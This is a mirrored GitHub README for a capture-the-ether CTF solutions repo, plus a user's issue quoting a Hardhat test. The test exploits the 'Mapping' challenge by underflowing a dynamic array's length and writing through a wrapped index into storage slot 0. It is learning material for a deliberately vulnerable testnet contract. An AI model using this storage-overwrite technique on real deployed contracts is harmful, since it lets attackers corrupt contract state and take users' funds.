Giter Club home page Giter Club logo

capture-the-ether's Introduction

capture-the-ether

My solutions to capture-the-ether CTF. In-depth explanations for each level can be read on my blog.

Progress: 11600/11600 Rank: 56

Leaderboard

Development

npm i

You need to configure environment variables:

cp .env.template .env
# fill out

Pick a mnemonic and use the resulting first ETH account as the challenger account on capture-the-ether.

Hardhat

This repo uses hardhat to run the CTF challenges. Challenges are implemented as hardhat tests in /test.

To fork the Ropsten testnet, you need an archive URL like the free ones from Alchemy.

Running challenges

Optionally set the block number in the hardhat.config.ts hardhat network configuration to the ropsten head block number such that the challenge contract is deployed.

# fork ropsten but run locally
npx hardhat test test/warmup/call-me.ts
# once everything works, run all txs on ropsten testnet to gain points
npx hardhat test test/warmup/call-me.ts --network ropsten

capture-the-ether's People

Contributors

mrtoph avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

capture-the-ether's Issues

Question about different behavior locally vs online on mapping.ts

Hi,

First of all, thank you very much for this repo. Really helpful to understand and go through everything when stuck.

I noticed a strange behavior on the mapping test, would you be able to point me out why when running hardhat locally I have different behavior than when running it on Ropsten:

I've added a check guess to retrieve the first memory of the contract that contains the state of isComplete

before(async () => {
  accounts = await ethers.getSigners();
  [eoa] = accounts;
  const challengeFactory = await ethers.getContractFactory("MappingChallenge");
  contract = challengeFactory.attach(
    `0xdF075c1c586711510afeE671ac9515A39F492DA9`
  );
});

it("solves the challenge", async function () {
  // all of contract storage is a 32 bytes key to 32 bytes value mapping
  // first make map expand its size to cover all of this storage by setting
  // key = 2^256 - 2 => map.length = 2^256 - 2 + 1 = 2^256 - 1 = max u256
  // this bypasses bounds checking
  tx = await contract.set(BigNumber.from(`2`).pow(`256`).sub(`2`), `0`);
  await tx.wait();

  // now try to index the map in a way such that write to the isComplete variable
  // > In the case of a dynamic array, the reserved slot contains the length
  // of the array as a uint256, and the array data itself is located sequentially
  // at the address keccak256(p).
  // https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte#solidity-storage-layout
  // https://docs.soliditylang.org/en/v0.6.8/internals/layout_in_storage.html#mappings-and-dynamic-arrays

  // map[0] value is stored at keccak(p) = keccak(1)
  // needs to be padded to a 256 bit
  const mapDataBegin = BigNumber.from(
    ethers.utils.keccak256(
      `0x0000000000000000000000000000000000000000000000000000000000000001`
    )
  );
  console.log(`mapDataBegin`, mapDataBegin.toHexString());
  // need to find index at this location now that maps to 0 mod 2^256
  // i.e., 0 - keccak(1) mod 2^256 <=> 2^256 - keccak(1) as keccak(1) is in range
  const isCompleteOffset = BigNumber.from(`2`).pow(`256`).sub(mapDataBegin);

  tx = await contract.set(isCompleteOffset, `1`);
  await tx.wait();

  const guess = await contract.provider.getStorageAt(contract.address, 0)
  console.log('guess: ', guess);

  const isComplete = await contract.isComplete();
  expect(isComplete).to.be.true;
});

image

We can see that when running offline, the script doesn't change the state of isComplete to true, but it does when running on Ropsten.
Do you know why we have this behavior offline and not online? Hardhat is supposed to make a hard copy offline of the state of the contract and we run things on it with the test and alter the state no?
Or de we need to run a local ganache setup and deploy the contract on it and run hardhat on local blockchain to have a real feel of what's supposed to happen on the real blockchain?

EDIT:
From the Hardhat Network page we can read this :
image

So I was expecting the behavior to be as what's happen on the online blockchain

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.